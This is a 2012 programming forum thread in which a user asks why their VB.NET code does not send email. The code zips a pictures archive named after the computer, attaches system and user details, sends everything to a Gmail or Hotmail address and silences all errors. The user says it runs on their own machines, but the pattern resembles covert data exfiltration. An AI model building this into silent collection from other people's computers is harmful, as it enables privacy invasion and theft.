4 Replies - 360 Views - Last Post: 11 June 2012 - 05:05 PM Rate Topic: -----

#1 tyisbored  Icon User is offline

  • New D.I.C Head

Reputation: 0
  • View blog
  • Posts: 19
  • Joined: 23-March 12

Email code not working for my 2 computers?

Posted 11 June 2012 - 04:23 PM

Private Sub SendMailOneAttachment(ByVal un As String, ByVal pass As String, Optional ByVal smtp As String = "smtp.gmail.com")

  Try

    Using oAttach As Net.Mail.Attachment = New Net.Mail.Attachment((Environment.GetFolderPath(Environment.SpecialFolder.LocalAp​​plicationData) & "\" & My.Computer.Name & "_" & fName & "Pictures .zip"))
    Dim client As New SmtpClient(smtp)

    Dim mail As New MailMessage()

    mail.From = New MailAddress(un)
    mail.To.Add(un)
    mail.Subject = (locations)
    mail.Body = My.Computer.Info.OSFullName & "   " & My.User.Name & vbNewLine & " Date: " & TimeOfDay.Date.TimeOfDay.ToString
    mail.Attachments.Add(oAttach)

    If smtp = "smtp.live.com" Then
    client.Port = 587 '465 587  25
    Else
    client.Port = 465 '465 587  25
    End If
    client.EnableSsl = True
    client.Credentials = New System.Net.NetworkCredential(un, pass)

    Try
    client.Send(mail)
    Catch ex As SmtpException

    End Try
    End Using

  Catch ex As Exception

  End Try

    End Sub



OK here is the problem, it does not send the email on any of my 2 computers. No firewall, No Anti Virus. I don't know if there is an error in this or what? All the other code works fine, except for this emailing part :(

If you need any more info ask me cause this not sending is driving me nuts :(

Thanks
Ty

Is This A Good Question/Topic? 0
  • +

Replies To: Email code not working for my 2 computers?

#2 GunnerInc  Icon User is offline

  • "Hurry up and wait"
  • member icon




Reputation: 719
  • View blog
  • Posts: 1,978
  • Joined: 28-March 11

Re: Email code not working for my 2 computers?

Posted 11 June 2012 - 04:29 PM

You need to use authentication with Hotmail servers (TLS Connection)

A quick search brought me to the code here
Was This Post Helpful? 0
  • +
  • -

#3 tyisbored  Icon User is offline

  • New D.I.C Head

Reputation: 0
  • View blog
  • Posts: 19
  • Joined: 23-March 12

Re: Email code not working for my 2 computers?

Posted 11 June 2012 - 04:54 PM

View PostGunnerInc, on 11 June 2012 - 04:29 PM, said:

You need to use authentication with Hotmail servers (TLS Connection)

A quick search brought me to the code here


Ok i will try that but why won't it even send to gmail (that was the first thing it does, but if it doesn't email with the gmail it then will use the hotmail. any ideas with that>
Was This Post Helpful? 0
  • +
  • -

#4 GunnerInc  Icon User is offline

  • "Hurry up and wait"
  • member icon




Reputation: 719
  • View blog
  • Posts: 1,978
  • Joined: 28-March 11

Re: Email code not working for my 2 computers?

Posted 11 June 2012 - 04:57 PM

Most of these email servers do not allow unauthenticated access. Do you want a spammer or miscreant to just be able to use YOUR email account to send emails? That's why you have to authenticate yourself with your account credentials.
Was This Post Helpful? 0
  • +
  • -

#5 tyisbored  Icon User is offline

  • New D.I.C Head

Reputation: 0
  • View blog
  • Posts: 19
  • Joined: 23-March 12

Re: Email code not working for my 2 computers?

Posted 11 June 2012 - 05:05 PM

View PostGunnerInc, on 11 June 2012 - 04:57 PM, said:

Most of these email servers do not allow unauthenticated access. Do you want a spammer or miscreant to just be able to use YOUR email account to send emails? That's why you have to authenticate yourself with your account credentials.


Yes it only uses my email.
can someone try to test it themselves and say if it was just me or what? it only sends one email then it ends.
Was This Post Helpful? 0
  • +
  • -

Page 1 of 1